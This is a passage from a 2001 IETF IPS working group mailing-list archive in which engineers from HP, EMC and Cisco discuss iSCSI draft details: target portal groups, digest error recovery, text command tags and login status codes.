you can overlay lots of one-to-many (or one-to-one) sessions as you > enable different ISIDs. In other words, the "many" SCSI Initator Ports are > based on multiple use of ISIDs and multiple SCSI Target Ports are based on > multiple target portal groups as advertised by the target. > > On the other hand, there is no requirement of the target that if advertise > itself as having only one target portal group, even if it was capable. It > can subdivide its ipaddress space in any way it wants. A high end target > with many many ip interfaces will probably do that. Additionally, any > truly high end target (in the long term) will have many iSCSI HBAs (most > likely) each functioning as a target portal group and you'd see this > modeling FC (at the target side) closer. > > There might be other reasons besides multiple iSCSI HBA configuration for > the target to advertise multiple target portal groups. The SCSI Asymmetric > Port behavior for controllers in particular (for failover, primary pathing, > etc.) can take advantage of that kind of structure. You may have a > dual-headed controller each with independent power supplies. They might > have enough coordination to run sessions across all of them, but it might > make more sense to separate them. [Give me more time and I can probably > come up with lots of other reasons too...] > > The model then is flexible enough to handle arbitrary software > implementations using arbitrary network or TCP hardware cards as well as > any implementations of iSCSI HBAs or any combination of the two. And that's > true on both the initiator and the target side. > > Jim Hafner > > Santosh Rao @ece.cmu.edu on 09/13/2001 05:37:45 pm > > Sent by: owner-ips@ece.cmu.edu > > To: IPS Reflector > cc: > Subject: iscsi : target port definition > > Hello, > > I have a question on the interpretation of the iscsi target port > definition. The iscsi rev 08 defines the iscsi target port to map to an > iscsi target portal group. > > Thus, any iscsi target that wishes to allow multiple SCSI paths to be > established to the target node MUST provide at least 2 iscsi target > portal groups. > > The above definition of an iscsi target port somewhat alters the > semantics of a target portal group. A target portal group, by > definition, is a collection of a set of network portals within the > target across which a session can be spanned. > > Thus, if a target supports a multi-connection session spanning across > all its network portals, such a target would use a single target portal > group to indicate that 1 big fat session pipe could be established to > all its network portals. This, in turn, would have the side effect of > only providing 1 scsi path to the upper layer wedge drivers, if the > iscsi initiators establish a session per target portal group. [which is > the target port]. > > >From an initiator's perspective, what should be the target side > end-point of an initiator's sessions when it may need to support upper > layer wedge drivers ? Should the initiator establish a session per > target > portal group [, in which case the above issue exists] ? Or, should it > establish a session per TargetAddress ?? > > Regards, > Santosh From owner-ips@ece.cmu.edu Mon Sep 17 14:22:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17717 for ; Mon, 17 Sep 2001 14:22:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HG6IK04746 for ips-outgoing; Mon, 17 Sep 2001 12:06:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HG69P04725 for ; Mon, 17 Sep 2001 12:06:14 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id 1C7E01F7E8; Mon, 17 Sep 2001 09:06:00 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA05565; Mon, 17 Sep 2001 09:05:55 -0700 (PDT) Message-ID: <3BA620DA.93F67F5F@cup.hp.com> Date: Mon, 17 Sep 2001 09:12:10 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Arpakorn Boonkongchuen Cc: ips@ece.cmu.edu Subject: Re: iSCSI: revised error recovery hierarchy References: <4.3.2.7.2.20010914114943.03d7d538@postoffice.pacbell.net> <200109142330.QAA16739@core.rose.hp.com> <4.3.2.7.2.20010916132424.03c8bae8@andiamo.com> Content-Type: multipart/mixed; boundary="------------1F15AB89BD335296FC5819CB" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------1F15AB89BD335296FC5819CB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Arpakorn Boonkongchuen wrote: > At 06:42 PM 9/14/2001 -0700, Santosh Rao wrote: > > > Arpakorn Boonkongchuen wrote: > > > > > > > > I have been following the iSCSI error recovery discussion > > > > and have one question. Is it a valid procedure for an > > > > initiator who doesn't implement SNACK and does not want to > > > > tear down the session and all connections when it gets a > > > > data digest error to simply aborts the task (with task > > > > management function request) associated with the bad > > > > data digest received and tries to recover by resending the > > > > command? > > > >Any initiator that does not implement SNACK will have to perform session > >logout & re-login as the error recovery on digest errors that occurs on > >the status PDU. > > ok but do you see a problem if it is a data PDU? None. An Abort Task should be usable to recover from a data digest error on a Data-In PDU. One could also let the task run to completion and determine that an I/O underrun has occurred based on a comparision of the ExpDataSN in the status pdu and a count within the driver of the number of data pdu's received on that scsi cmd. This method is simplet and does not require any abort task usage. The above recovery scheme is not documented in Section 7.4 as a means of recovering from data digest errors on iscsi data pdu's. This mechanism should be considered for inclusion in Section 7.4, since it is a simple technique to recover from data digest errors and does not require any abort task to be issued. > >This is because of the current SNACK mechanism which will not allow the > >initiator to acknowledge any further Status PDUs once a hole occurs in > >the StatSN. The only way to workaround a hole in the StatSN sequence is > >to either use a Status SNACK or to do a session logout. > > A session logout is a pretty drastic measure. I wonder whether it > suffices to just log out and relogin on that particular connection > only? Either a "connection logout for recovery" or a session logout is usable to recover from digest errors on status pdu's when the initiator does not support SNACK usage. Section 7.4 is missing the usage of session logout as a recovery mechanism for digest errors on Status PDUs. Regards, Santosh --------------1F15AB89BD335296FC5819CB Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------1F15AB89BD335296FC5819CB-- From owner-ips@ece.cmu.edu Mon Sep 17 16:49:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21525 for ; Mon, 17 Sep 2001 16:49:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HIKOv14100 for ips-outgoing; Mon, 17 Sep 2001 14:20:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HIKKP14093 for ; Mon, 17 Sep 2001 14:20:20 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id 455086A3 for ; Mon, 17 Sep 2001 11:20:15 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA18866; Mon, 17 Sep 2001 11:20:10 -0700 (PDT) Message-ID: <3BA64051.71A445F9@cup.hp.com> Date: Mon, 17 Sep 2001 11:26:26 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi Rev 7.93 : text cmd & bookmarks. Content-Type: multipart/mixed; boundary="------------DA0E80C5D0FD248398C636E2" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------DA0E80C5D0FD248398C636E2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Julian, Thanks for adding the target transfer tag field to the text command & text response. This allows for simpler indexing for targets without having to special case the text message lookups. Also, as you've observed and incorporated, the target transfer tag field itself serves as a bookmark and so, the bookmark field has been removed. One question remains however. Since the target transfer tag field serves as a bookmark and a TTT of 0xFFFFFFFF serves as an indication that this is a new text command (i.e. no bookmark present), of what value add is the bookmark bit ? Why not remove the bookmark bit itself and only use the TTT ? Keeping both the bookmark bit and the TTT is providing 2 ways of indicating a new text cmd. I would be in favor of removal of the bookmark bit. Regards, Santosh --------------DA0E80C5D0FD248398C636E2 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------DA0E80C5D0FD248398C636E2-- From owner-ips@ece.cmu.edu Mon Sep 17 16:52:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21598 for ; Mon, 17 Sep 2001 16:51:54 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HIu4O16835 for ips-outgoing; Mon, 17 Sep 2001 14:56:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HIu3P16831 for ; Mon, 17 Sep 2001 14:56:03 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 28F751F7F1 for ; Mon, 17 Sep 2001 11:55:57 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA21642 for ; Mon, 17 Sep 2001 11:55:52 -0700 (PDT) Message-ID: <3BA648B0.8EBF4302@cup.hp.com> Date: Mon, 17 Sep 2001 12:02:08 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi rev 7.93 : Login response Status codes. Content-Type: multipart/mixed; boundary="------------BA3C0D04F787EAFA16EF41CA" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------BA3C0D04F787EAFA16EF41CA Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Julian, A couple of comments on the login status codes (rev 7.93 Section 2.13.5 page 90 ) : 1) Session type | 0209 | Target does not support this type of Not supported | | of session (not from this Initiator) The above status detail can be removed, since there exist only 2 session types, normal & discovery, & both are mandatory. Initiator | 0206 | Invalid SID - no more connections SID error | | accepted ----------------------------------------------------------------- Should the above read "Initiator CID error" ? I presume the above is meant to indicate that the target cannot accept any more connections and is rejecting a login that is attempting to add a new connection to the session, as indicated by the presence of a new CID in the login on an existing (ISID, TSID). If this is the case, the code should read : "Initiator CID Error" , since this is an invalid CID. Please clarify the intent of the above status code. Thanks, Santosh --------------BA3C0D04F787EAFA16EF41CA Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------BA3C0D04F787EAFA16EF41CA-- From owner-ips@ece.cmu.edu Mon Sep 17 16:59:55 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA21737 for ; Mon, 17 Sep 2001 16:59:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HINYh14310 for ips-outgoing; Mon, 17 Sep 2001 14:23:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HINWP14305 for ; Mon, 17 Sep 2001 14:23:32 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 17 Sep 2001 14:25:28 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD742@CORPMX14> From: Black_David@emc.com To: egrodriguez@lucent.com, ips@ece.cmu.edu Cc: Black_David@emc.com, mankin@ISI.EDU, sob@harvard.edu Subject: RE: IPS ALL: David Black without email access Date: Mon, 17 Sep 2001 14:16:05 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Greetings, Just a quick note that I did make it back to the US (Delta got me back almost exactly when and where they said they would on Sunday), have email access back, and am working on catching up. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > Hello all, > > I received a message from David Black, requesting that I let everyone > know that he is without email access right now. > He is uncertain when he will regain email access. > > David is safe, but is out of the country right now, and is having > difficultly returning to the US, due to the incidents which have > occurred here in the states. He does not believe that he will be able > to regain email access, for a variety of reasons, until he returns to > the US. > > Thanks, > > Elizabeth > From owner-ips@ece.cmu.edu Mon Sep 17 17:57:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22527 for ; Mon, 17 Sep 2001 17:57:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HJuaA20987 for ips-outgoing; Mon, 17 Sep 2001 15:56:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HJuYP20982 for ; Mon, 17 Sep 2001 15:56:34 -0400 (EDT) Received: from ahganemw2k (dhcp-161-44-68-109.cisco.com [161.44.68.109]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id PAA03748 for ; Mon, 17 Sep 2001 15:56:27 -0400 (EDT) From: "Ayman Ghanem" To: Subject: RE: iscsi Rev 7.93 : text cmd & bookmarks. Date: Mon, 17 Sep 2001 14:55:38 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <3BA64051.71A445F9@cup.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I could be missing something, but I am not sure why do we have TTT in text cmd/rsp if there MUST be only one outstanding text cmd per connection. Text command lookup implies to me more than one outstanding cmd, but that would be a protocol error. -Ayman > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Santosh Rao > Sent: Monday, September 17, 2001 1:26 PM > To: IPS Reflector > Subject: iscsi Rev 7.93 : text cmd & bookmarks. > > > Hi Julian, > > Thanks for adding the target transfer tag field to the text command > & text response. This allows for simpler indexing for targets without > having to special case the text message lookups. > > Also, as you've observed and incorporated, the target transfer tag field > itself serves as a bookmark and so, the bookmark field has been removed. > > One question remains however. Since the target transfer tag field serves > as a bookmark and a TTT of 0xFFFFFFFF serves as an indication that this > is a new text command (i.e. no bookmark present), of what value add is > the bookmark bit ? Why not remove the bookmark bit itself and only use > the TTT ? > > Keeping both the bookmark bit and the TTT is providing 2 ways of > indicating a new text cmd. I would be in favor of removal of the > bookmark bit. > > Regards, > Santosh > From owner-ips@ece.cmu.edu Mon Sep 17 18:09:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA22731 for ; Mon, 17 Sep 2001 18:08:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HJRBk18995 for ips-outgoing; Mon, 17 Sep 2001 15:27:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HJQxP18988 for ; Mon, 17 Sep 2001 15:27:09 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id 63EE31F59C for ; Mon, 17 Sep 2001 12:26:48 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id MAA23501 for ; Mon, 17 Sep 2001 12:26:41 -0700 (PDT) Message-ID: <3BA64FE9.103499FF@cup.hp.com> Date: Mon, 17 Sep 2001 12:32:57 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: iscsi rev 7.93 : reject pdu. Content-Type: multipart/mixed; boundary="------------504EBBE65B23978B70C6FE9B" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------504EBBE65B23978B70C6FE9B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, Could you please clarify why the "first bad byte" field in the reject pdu has been removed ? I can find nothing in the change log that states this change, nor can I remember any discussion on ips asking for this change. Regards, Santosh --------------504EBBE65B23978B70C6FE9B Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------504EBBE65B23978B70C6FE9B-- From owner-ips@ece.cmu.edu Mon Sep 17 19:20:32 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA24695 for ; Mon, 17 Sep 2001 19:20:27 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HLF7X26610 for ips-outgoing; Mon, 17 Sep 2001 17:15:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HLF4P26604 for ; Mon, 17 Sep 2001 17:15:04 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id 04C191F88C; Mon, 17 Sep 2001 14:14:51 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id OAA29303; Mon, 17 Sep 2001 14:14:41 -0700 (PDT) Message-ID: <3BA66938.6A804723@cup.hp.com> Date: Mon, 17 Sep 2001 14:20:56 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Ayman Ghanem Cc: ips@ece.cmu.edu Subject: Re: iscsi Rev 7.93 : text cmd & bookmarks. References: Content-Type: multipart/mixed; boundary="------------3553446337DE235A2DDE8AA3" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------3553446337DE235A2DDE8AA3 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Having a TTT allows the lookup of text cmd/responses to be the same as any other cmd/rsp lookup. i.e. there is no need to special case the lookup of a text cmd/rsp. There will be only 1 outstanding text cmd/rsp in progress at any given time. However, other cmds/rsps can continue in parallel with text cmd/rsp. Thus, usage of a standard task lookup scheme like the task tags allows one to avoid having to special case the context lookup based on cmd/rsp opcode. - Santosh Ayman Ghanem wrote: > I could be missing something, but I am not sure why do we have TTT in text > cmd/rsp if there MUST be only one outstanding text cmd per connection. Text > command lookup implies to me more than one outstanding cmd, but that would > be a protocol error. > > -Ayman > > > -----Original Message----- > > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > > Santosh Rao > > Sent: Monday, September 17, 2001 1:26 PM > > To: IPS Reflector > > Subject: iscsi Rev 7.93 : text cmd & bookmarks. > > > > > > Hi Julian, > > > > Thanks for adding the target transfer tag field to the text command > > & text response. This allows for simpler indexing for targets without > > having to special case the text message lookups. > > > > Also, as you've observed and incorporated, the target transfer tag field > > itself serves as a bookmark and so, the bookmark field has been removed. > > > > One question remains however. Since the target transfer tag field serves > > as a bookmark and a TTT of 0xFFFFFFFF serves as an indication that this > > is a new text command (i.e. no bookmark present), of what value add is > > the bookmark bit ? Why not remove the bookmark bit itself and only use > > the TTT ? > > > > Keeping both the bookmark bit and the TTT is providing 2 ways of > > indicating a new text cmd. I would be in favor of removal of the > > bookmark bit. > > > > Regards, > > Santosh > > --------------3553446337DE235A2DDE8AA3 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------3553446337DE235A2DDE8AA3-- From owner-ips@ece.cmu.edu Mon Sep 17 21:16:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA26399 for ; Mon, 17 Sep 2001 21:16:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HNVO404745 for ips-outgoing; Mon, 17 Sep 2001 19:31:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8HNVNP04740 for ; Mon, 17 Sep 2001 19:31:23 -0400 (EDT) Received: from core.rose.hp.com (unknown [15.43.208.100]) by atlrel7.hp.com (Postfix) with ESMTP id B515C1F957 for ; Mon, 17 Sep 2001 19:02:38 -0400 (EDT) Received: from rose.hp.com (hpsil34.rose.hp.com [15.43.211.225]) by core.rose.hp.com with ESMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id QAA10706 for ; Mon, 17 Sep 2001 16:05:42 -0700 (PDT) Message-Id: <200109172305.QAA10706@core.rose.hp.com> Date: Mon, 17 Sep 2001 16:15:39 -0700 From: "Mallikarjun C." Reply-To: cbm@rose.hp.com Organization: Hewlett-Packard, Roseville X-Mailer: Mozilla 4.73 [en] (X11; U; HP-UX B.10.20 9000/715) X-Accept-Language: en MIME-Version: 1.0 To: ips Subject: Re: iSCSI: revised error recovery hierarchy References: <4.3.2.7.2.20010914114943.03d7d538@postoffice.pacbell.net> <200109142330.QAA16739@core.rose.hp.com> <4.3.2.7.2.20010916132424.03c8bae8@andiamo.com> <3BA620DA.93F67F5F@cup.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Santosh, .... > pdu and a count within the driver of the number of data pdu's received on ..... > The above recovery scheme is not documented in Section 7.4 as a means of > recovering from data digest errors on iscsi data pdu's. I suggest the following opening comments in section 7 for your consideration. Many of the recovery details in an iSCSI implementation are a local matter, beyond the scope of protocol standardization. However, some external aspects of the processing must be standardized, to ensure interoperability. This section (and the corresponding appendix in more detail) describes a general model for recovery, in support of interoperability. What you describe is certainly an implementation choice, complying with protocol expectations. But as it does not affect the wire protocol(that this chapter strives to capture), it isn't stated as a *protocol* choice. That is generally the rule of thumb that ERT and myself followed for editing this chapter. Hope that explains the rationale. >....a session logout is usable to > recover from digest errors on status pdu's..... True, as with any error! Section 7.11 and 7.11.4 clearly call this out. That's why session logout/recovery is not listed as an option in every place. I will however go ahead and add that a "close the connection" flavor of Logout is a legal protocol-allowed option for lost status PDUs (in addition to the recovery Logout that you pointed out). Thanks. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com Santosh Rao wrote: > > Arpakorn Boonkongchuen wrote: > > > >Any initiator that does not implement SNACK will have to perform session > > >logout & re-login as the error recovery on digest errors that occurs on > > >the status PDU. > > > > ok but do you see a problem if it is a data PDU? > > None. An Abort Task should be usable to recover from a data digest error on > a Data-In PDU. > > One could also let the task run to completion and determine that an I/O > underrun has occurred based on a comparision of the ExpDataSN in the status > pdu and a count within the driver of the number of data pdu's received on > that scsi cmd. This method is simplet and does not require any abort task > usage. > > The above recovery scheme is not documented in Section 7.4 as a means of > recovering from data digest errors on iscsi data pdu's. This mechanism > should be considered for inclusion in Section 7.4, since it is a simple > technique to recover from data digest errors and does not require any abort > task to be issued. > > > >This is because of the current SNACK mechanism which will not allow the > > >initiator to acknowledge any further Status PDUs once a hole occurs in > > >the StatSN. The only way to workaround a hole in the StatSN sequence is > > >to either use a Status SNACK or to do a session logout. > > > > A session logout is a pretty drastic measure. I wonder whether it > > suffices to just log out and relogin on that particular connection > > only? > > Either a "connection logout for recovery" or a session logout is usable to > recover from digest errors on status pdu's when the initiator does not > support SNACK usage. > > Section 7.4 is missing the usage of session logout as a recovery mechanism > for digest errors on Status PDUs. > > Regards, > Santosh From owner-ips@ece.cmu.edu Mon Sep 17 21:19:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA26442 for ; Mon, 17 Sep 2001 21:19:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8HNFdI03962 for ips-outgoing; Mon, 17 Sep 2001 19:15:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from murphys-outbound.services.quay.plus.net ([212.159.14.225]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8HNE8P03869 for ; Mon, 17 Sep 2001 19:14:08 -0400 (EDT) Received: (qmail 20792 invoked from network); 17 Sep 2001 23:13:41 -0000 Received: from unknown (HELO NEXUS.replicants.org.uk) (212.56.122.201) by murphys with SMTP; 17 Sep 2001 23:13:41 -0000 Received: from mail pickup service by NEXUS.replicants.org.uk with Microsoft SMTPSVC; Tue, 18 Sep 2001 00:13:46 +0100 X-From_: ietf-123-owner@loki.ietf.org Tue Jun 26 13:29:49 2001 Envelope-to: david@REPLICANTS.FREESERVE.CO.UK Delivery-date: Tue, 26 Jun 2001 13:29:49 +0100 Received: from [132.151.1.177] (helo=loki.ietf.org) by imailg2.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 15EryV-0001GH-00; Tue, 26 Jun 2001 13:29:48 +0100 Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id HAA18666 for ietf-123-outbound.10@ietf.org; Tue, 26 Jun 2001 07:05:01 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA18511 for ; Tue, 26 Jun 2001 07:01:07 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26990; Tue, 26 Jun 2001 07:01:06 -0400 (EDT) Message-Id: <200106261101.HAA26990@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-iscsi-mib-01.txt Date: Tue, 